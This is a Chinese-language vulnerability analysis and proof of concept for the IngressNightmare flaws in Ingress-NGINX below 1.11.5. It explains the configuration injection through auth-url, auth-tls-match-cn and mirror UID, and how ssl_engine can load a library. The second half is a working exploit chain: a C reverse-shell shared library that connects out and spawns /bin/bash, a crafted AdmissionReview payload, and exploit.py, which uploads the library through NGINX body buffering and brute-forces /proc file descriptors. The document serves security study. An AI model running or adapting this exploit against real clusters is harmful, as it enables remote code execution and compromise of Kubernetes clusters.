Overview
Ingress-NGINX 是一個 Ingress controller 可以拿來讓 Kubernetes 的 application 暴露到外網,他會接受傳入的流量,並且架接到相關 Kubernetes 服務,那 Kubernetes 服務又會基於一組原則把流量轉發到 POD,總結來說 Ingress-NGINX 是做反向代理的 那官方也在文件直接推薦使用 Ingress-nginx 作為 Ingress controller
Product Version
- Ingress-NGINX 1.11.5 以下的版本
Root Cause Analysis
Remote NGINX Configuration Injection
處理傳入的請求時,Admissin controller 會基於模板跟 ingress 生成臨時的設定文件,並且會使用 nginx -t 測試是否有效
1// testTemplate checks if the NGINX configuration inside the byte array is valid
2// running the command "nginx -t" using a temporal file.
3func (n *NGINXController) testTemplate(cfg []byte) error {
4...
5 tmpfile, err := os.CreateTemp(filepath.Join(os.TempDir(), "nginx"), tempNginxPattern)
6...
7 err = os.WriteFile(tmpfile.Name(), cfg, file.ReadWriteByUser)
8...
9 out, err := n.command.Test(tmpfile.Name())
10
11func (nc NginxCommand) Test(cfg string) ([]byte, error) {
12 //nolint:gosec // Ignore G204 error
13 return exec.Command(nc.Binary, "-c", cfg, "-t").CombinedOutput()
14}
不過通常只有 Kubernetes API 可以發送這一種 request,但因為 admission controller 缺乏驗證,所以如果有訪問的權力就可以去製造特定請求並且從任意 POD 發送 先使用 Kube-Review 創建 Ingress Resource 的 request,並透過 HTTP 直接傳送到 admission controller
1{
2 "kind": "AdmissionReview",
3 "apiVersion": "admission.k8s.io/v1",
4 "request": {
5 "uid": "732536f0-d97e-4c9b-94bf-768953754aee",
6...
7 "name": "example-app",
8 "namespace": "default",
9 "operation": "CREATE",
10...
11 "object": {
12 "kind": "Ingress",
13 "apiVersion": "networking.k8s.io/v1",
14 "metadata": {
15 "name": "example-app",
16 "namespace": "default",
17...
18 "annotations": {
19 "nginx.ingress.kubernetes.io/backend-protocol": "FCGI"
20 }
21 },
22 "spec": {
23 "ingressClassName": "nginx",
24 "rules": [
25 {
26 "host": "app.example.com",
27 "http": {
28 "paths": [
29 {
30 "path": "/",
31 "pathType": "Prefix",
32 "backend": {
33 "service": {
34 "name": "example-service",
35 "port": {}
36 }
37 }
38 }
39 ]
40 }
41 }
42 ]
43 },
44...
45 }
46}
可以發現我們可以控制很多部分,並且 annotation parser 會 parse .request.object.annotations 的部分,該部分會被放進去 nginx 的設定文件中,可以用來注入指令
CVE-2025-24514 – auth-url Annotation Injection
authreq parser 負責身分驗證相關的部分,檔案需要設定一個 auth-url,包含一個 url 並且傳送到設定文件中
1func (a authReq) Parse(ing *networking.Ingress) (interface{}, error) {
2 // Required Parameters
3 urlString, err := parser.GetStringAnnotation(authReqURLAnnotation, ing, a.annotationConfig.Annotations)
4 if err != nil {
5 return nil, err
6 }
建立臨時設定檔時 $externalAuth.URL,沒有經過驗證即進行合併
1proxy_http_version 1.1;
2proxy_set_header Connection "";
3set $target {{ changeHostPort $externalAuth.URL $authUpstreamName }};
4{{ else }}
5proxy_http_version {{ $location.Proxy.ProxyHTTPVersion }};
6set $target {{ $externalAuth.URL }};
7{{ end }}
像是以下的樣子
1nginx.ingress.kubernetes.io/auth-url: "http://example.com/#;\ninjection_point"
最後請求就會像是
1...
2proxy_http_version 1.1;
3set $target http://example.com/#;
4injection_point
5proxy_pass $target;
6...
CVE-2025-1097-auth-tls-match-cn Annotation Injection
問題出在 authtls parser,處理 auth-tls-match-cn,使用 CommonNameAnnotationValidator 做驗證
1func CommonNameAnnotationValidator(s string) error {
2 if !strings.HasPrefix(s, "CN=") {
3 return fmt.Errorf("value %s is not a valid Common Name annotation: missing prefix 'CN='", s)
4 }
5 if _, err := regexp.Compile(s[3:]); err != nil {
6 return fmt.Errorf("value %s is not a valid regex: %w", s, err)
7 }
8 return nil
9}
與 CVE-2025-24514 相似,$server.CertificateAuth.MatchCN 對應到 auth-tls-match-cn
1if ( $ssl_client_s_dn !~ {{ $server.CertificateAuth.MatchCN }} ) {
2 return 403 "client certificate unauthorized";
3}
嘗試以下設定
1nginx.ingress.kubernetes.io/auth-tls-match-cn: "CN=abc #(\n){}\n }}\nglobal_injection;\n#"
最後設定會像是以下的樣子
1...
2set $proxy_upstream_name "-";
3if ( $ssl_client_s_dn !~ CN=abc #(
4){} }}
5global_injection;
6# ) {
7return 403 "client certificate unauthorized"; }
8...
為了讓 auth-tls-match-cn 出現在設定中,會需要提供 nginx.ingress.kubernetes.io/auth-tls-secret,像是對應於 cluster 中存在的TLS 證書或 Keypair Secret,並且由於 ingress nginx 使用的帳戶可以訪問 cluster 的所有 secret,所以可以從任何 namespace 指定 secret,只要跟 TLS 證書或 Keypair Secret 對應即可,除此之外,預設情況有許多受託管的 Kubernetes 都有,例如以下列表
1kube-system/konnectivity-certs
2kube-system/azure-wi-webhook-server-cert
3kube-system/aws-load-balancer-webhook-tls
4kube-system/hubble-server-certs
5kube-system/cilium-ca
6calico-system/node-certs
7cert-manager/cert-manager-webhook-ca
8linkerd/linkerd-policy-validator-k8s-tls
9linkerd/linkerd-proxy-injector-k8s-tls
10linkerd/linkerd-sp-validator-k8s-tls
CVE-2025-1098 – mirror UID Injection
mirror notation parser,這邊程式碼用來處理 UID,並且會插入臨時的 nginx 設定的 $location.Mirror.Source,因此可以控制 ing.UID 欄位,而這邊是注入在 UID 參數,不是 Kubernetes 註解,所以不適用於 regex 的檢查,會直接被插入設定,所以可以繞過上下文直接 inject 任意設定指令
CVE-2025-1974 - NGINX Configuration Code Execution
可以繞過路徑限制並訪問未經授權的節點,可以將指令注入 nginx 設定並且透過 nginx -t 測試,因此如果可以在 nginx -t 找到執行任意代碼的指令,就可以破壞 POD 並且拿到高權限的 kubernetes role,不過 nginx 設定只是用來測試所以沒有被實際應用,因此減少實際使用到的指令數量,可用的 nginx 指令如下

而 load_module(用來加載 share library 的指令),只能在開頭使用,因此注入 load module 會失敗,那我們可以再查看 ingress nginx controller 有事先 compile 什麼 module(link),就會發現 SSL_Engine 也可以 load share library,那這個指令就可以放在設定的任何地方使用,所以適合我們拿來 inject,所以可以透過在 nginx 測試階段去做 load arbitrary library,因此我們可以再進一步思考要怎麼在 POD 文件系統放置 share library
Uploading a shared library with NGINX Client Body Buffers
與 nginx -t 跟 admission controller 相同,POD 會執行 nginx 本身,並且 listen 在 80 或 443 port 處理 request 時,nginx 有時候會將 request 保留到 temporary file( client body buffering),這種情況發生於 request size 太大的時候,所以我們可以發送一個較大的 request,包含我們的 payload,這時候就會將 temporary file 存放到 POD 的 file system 文件,不過 nginx 會立即刪除 file,所以不太好利用,但 nginx 會包含一個指向該文件的 descriptor,可以從 ProcFS 訪問 為了讓 file descriptor 一直開啟,可以讓 request 的 content-length header 設定大於實際大小,這樣 nginx 就會繼續等待,會導致 nginx 卡住,可以讓 file descriptor 打開更長時間,這個方式的唯一缺點是我們會在另一個 process 創建文件,所以沒辦法使用 /proc/self 訪問,所以只能使用猜測 PID 跟 FD 才可以找到 shared library,但因為這是一個較小的 process 所以可以快速暴力出來
From Configuration Injection to RCE
所以綜合起來我們可以串起漏洞進行 RCE
- 透過濫用 nginx client 的 buffer feature 上傳 shared library
- 向 ingress nginx controller 的 admisstion controller 發送包含 injection payload 的 AdmissionReview request
- 透過
ssl\_engine可以去 load shared library - 指定 ProcFS 到 file descriptor
- 最後就 load shared library 並且 RCE
PoC
環境建置
可以透過 https://mp.weixin.qq.com/s/JjdtzRVin9zedz8bdHh9Rg 架設,但步驟相對複雜且困難,所以使用 vulhub 建置好的 docker images
1services:
2 k3s:
3 image: vulhub/ingress-nginx:1.9.5
4 privileged: true
5 environment:
6 - K3S_KUBECONFIG_MODE=666
7 ports:
8 - 30080:30080
9 - 30443:30443
shell.c:用來開 reverse shell 因為是用 shared library 的方式,所以要以此編譯
1gcc -shared -fPIC -o shell.so shell.c
1#include <stdio.h>
2#include <stdlib.h>
3#include <unistd.h>
4#include <sys/socket.h>
5#include <netinet/in.h>
6#include <arpa/inet.h>
7__attribute__((constructor)) static void reverse_shell(void){
8 char *server_ip = ""; // 填入 IP
9 uint32_t server_port = ; // 填入 port
10 int sock = socket(AF_INET, SOCK_STREAM, 0);
11 if (sock < 0){
12 exit(1);
13 }
14 struct sockaddr_in attacker_addr = {0};
15 attacker_addr.sin_family = AF_INET;
16 attacker_addr.sin_port = htons(server_port);
17 attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
18 if (connect(sock, (struct sockaddr *)&attacker_addr, sizeof(attacker_addr)) != 0){
19 exit(0);
20 }
21 dup2(sock, 0);
22 dup2(sock, 1);
23 dup2(sock, 2);
24 char *args[] = {"/bin/bash", NULL};
25 execve("/bin/bash", args, NULL);
26}
Configuration Injection
參考:https://github.com/Esonhugh/ingressNightmare-CVE-2025-1974-exps/blob/main/nginx-ingress/validate.json
1admission_json = """
2{
3 "kind": "AdmissionReview",
4 "apiVersion": "admission.k8s.io/v1",
5 "request": {
6 "uid": "3babc164-2b11-4c9c-976a-52f477c63e35",
7 "kind": {
8 "group": "networking.k8s.io",
9 "version": "v1",
10 "kind": "Ingress"
11 },
12 "resource": {
13 "group": "networking.k8s.io",
14 "version": "v1",
15 "resource": "ingresses"
16 },
17 "requestKind": {
18 "group": "networking.k8s.io",
19 "version": "v1",
20 "kind": "Ingress"
21 },
22 "requestResource": {
23 "group": "networking.k8s.io",
24 "version": "v1",
25 "resource": "ingresses"
26 },
27 "name": "minimal-ingress",
28 "namespace": "default",
29 "operation": "CREATE",
30 "userInfo": {
31 "uid": "1619bf32-d4cb-4a99-a4a4-d33b2efa3bc6"
32 },
33 "object": {
34 "kind": "Ingress",
35 "apiVersion": "networking.k8s.io/v1",
36 "metadata": {
37 "name": "minimal-ingress",
38 "namespace": "default",
39 "creationTimestamp": null,
40 "annotations": {
41 "nginx.ingress.kubernetes.io/auth-url": "http://example.com/#;}}}\\n\\nssl_engine ../../../../../../../REPLACE\\n\\n"
42 }
43 },
44 "spec": {
45 "ingressClassName": "nginx",
46 "rules": [
47 {
48 "host": "test.example.com",
49 "http": {
50 "paths": [
51 {
52 "path": "/",
53 "pathType": "Prefix",
54 "backend": {
55 "service": {
56 "name": "kubernetes",
57 "port": {
58 "number": 443
59 }
60 }
61 }
62 }
63 ]
64 }
65 }
66 ]
67 },
68 "status": {
69 "loadBalancer": {}
70 }
71 },
72 "oldObject": null,
73 "dryRun": true,
74 "options": {
75 "kind": "CreateOptions",
76 "apiVersion": "meta.k8s.io/v1"
77 }
78 }
79}
80"""
exploit.py
1import base64
2import time
3import requests
4import sys
5from urllib.parse import urlparse
6import threading
7from concurrent.futures import ThreadPoolExecutor
8import urllib3
9import socket
10import os
11
12urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
13
14ADMISSION_URL = "https://localhost:30443/networking/v1/ingresses"
15INGRESS_URL = "http://localhost:30080/fake/addr"
16SHELL_FILE = "shell.so"
17NUM_WORKERS = 10
18
19admission_json = """
20{
21 "kind": "AdmissionReview",
22 "apiVersion": "admission.k8s.io/v1",
23 "request": {
24 "uid": "3babc164-2b11-4c9c-976a-52f477c63e35",
25 "kind": {
26 "group": "networking.k8s.io",
27 "version": "v1",
28 "kind": "Ingress"
29 },
30 "resource": {
31 "group": "networking.k8s.io",
32 "version": "v1",
33 "resource": "ingresses"
34 },
35 "requestKind": {
36 "group": "networking.k8s.io",
37 "version": "v1",
38 "kind": "Ingress"
39 },
40 "requestResource": {
41 "group": "networking.k8s.io",
42 "version": "v1",
43 "resource": "ingresses"
44 },
45 "name": "minimal-ingress",
46 "namespace": "default",
47 "operation": "CREATE",
48 "userInfo": {
49 "uid": "1619bf32-d4cb-4a99-a4a4-d33b2efa3bc6"
50 },
51 "object": {
52 "kind": "Ingress",
53 "apiVersion": "networking.k8s.io/v1",
54 "metadata": {
55 "name": "minimal-ingress",
56 "namespace": "default",
57 "creationTimestamp": null,
58 "annotations": {
59 "nginx.ingress.kubernetes.io/auth-url": "http://example.com/#;}}}\\n\\nssl_engine ../../../../../../../REPLACE\\n\\n"
60 }
61 },
62 "spec": {
63 "ingressClassName": "nginx",
64 "rules": [
65 {
66 "host": "test.example.com",
67 "http": {
68 "paths": [
69 {
70 "path": "/",
71 "pathType": "Prefix",
72 "backend": {
73 "service": {
74 "name": "kubernetes",
75 "port": {
76 "number": 443
77 }
78 }
79 }
80 }
81 ]
82 }
83 }
84 ]
85 },
86 "status": {
87 "loadBalancer": {}
88 }
89 },
90 "oldObject": null,
91 "dryRun": true,
92 "options": {
93 "kind": "CreateOptions",
94 "apiVersion": "meta.k8s.io/v1"
95 }
96 }
97}
98"""
99
100def send_request(admission_url, json_data, proc, fd):
101 print(f"Trying Proc: {proc}, FD: {fd}")
102 path = f"proc/{proc}/fd/{fd}"
103 replaced_data = json_data.replace("REPLACE", path)
104 headers = {
105 "Content-Type": "application/json"
106 }
107 full_url = admission_url.rstrip("/") + "/admission"
108 try:
109 response = requests.post(full_url, data=replaced_data, headers=headers, verify=False, timeout=1)
110 print(f"Response for /proc/{proc}/fd/{fd}: {response.status_code}")
111 except Exception as e:
112 print(f"Error on /proc/{proc}/fd/{fd}: {e}")
113
114def admission_brute(admission_url, max_workers=10):
115 with ThreadPoolExecutor(max_workers=max_workers) as executor:
116 for proc in range(30, 50):
117 for fd in range(3, 30):
118 executor.submit(send_request, admission_url, admission_json, proc, fd)
119
120 for proc in range(160, 180):
121 for fd in range(3, 30):
122 executor.submit(send_request, admission_url, admission_json, proc, fd)
123
124def exploit(ingress_url, shell_file):
125 if not os.path.exists(shell_file):
126 print(f"Error: Shell file '{shell_file}' not found")
127 sys.exit(1)
128 so = open(shell_file, 'rb').read() + b"\x00" * 8092
129 real_length = len(so)
130 fake_length = real_length + 10
131 parsed = urlparse(ingress_url)
132 host = parsed.hostname
133 port = parsed.port or 80
134 path = parsed.path or "/"
135 try:
136 sock = socket.create_connection((host, port))
137 except Exception as e:
138 print(f"Error connecting to {host}:{port}: {e}")
139 sys.exit(1)
140 headers = (
141 f"POST {path} HTTP/1.1\r\n"
142 f"Host: {host}\r\n"
143 f"User-Agent: lufeisec\r\n"
144 f"Content-Type: application/octet-stream\r\n"
145 f"Content-Length: {fake_length}\r\n"
146 f"Connection: keep-alive\r\n\r\n"
147 ).encode("iso-8859-1")
148 sock.sendall(headers + so)
149 response = b""
150 while True:
151 chunk = sock.recv(4096)
152 if not chunk:
153 break
154 response += chunk
155 print("[*] Response:")
156 print(response.decode(errors="ignore"))
157 sock.close()
158
159def main():
160 print(f"[*] Using shell file: {SHELL_FILE}")
161 print(f"[*] Admission URL: {ADMISSION_URL}")
162 print(f"[*] Ingress URL: {INGRESS_URL}")
163 print(f"[*] Workers: {NUM_WORKERS}")
164 print("[*] Starting exploit...")
165 x = threading.Thread(target=exploit, args=(INGRESS_URL, SHELL_FILE))
166 x.start()
167 time.sleep(2)
168 admission_brute(ADMISSION_URL, max_workers=NUM_WORKERS)
169if __name__ == "__main__":
170 main()

reference
https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities https://mp.weixin.qq.com/s/JjdtzRVin9zedz8bdHh9Rg https://blog.csdn.net/leah126/article/details/147160597